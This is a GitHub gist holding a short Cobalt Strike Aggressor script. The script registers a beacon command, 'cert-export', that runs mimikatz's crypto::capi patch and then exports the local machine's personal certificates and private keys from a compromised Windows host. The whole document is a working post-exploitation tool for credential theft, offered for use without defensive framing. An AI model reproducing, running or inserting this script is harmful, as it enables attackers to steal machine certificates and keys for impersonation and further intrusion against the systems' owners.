Skip to content

Instantly share code, notes, and snippets.

@JamesCooteUK
Created July 15, 2021 08:36
Show Gist options
  • Save JamesCooteUK/b2c7e3371facfc204b10163e5b6d8c77 to your computer and use it in GitHub Desktop.
Save JamesCooteUK/b2c7e3371facfc204b10163e5b6d8c77 to your computer and use it in GitHub Desktop.
#author jamescoote
#register help
beacon_command_register("cert-export", "patch capi and export local_machine certs",
"Synopsis: cert-export \n\n" .
"Patch capi and export the local_machine certs.");
#setting the alias
alias cert-export {
bmimikatz($1, "crypto::capi\ncrypto::certificates /systemstore:local_machine /store:my /export");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment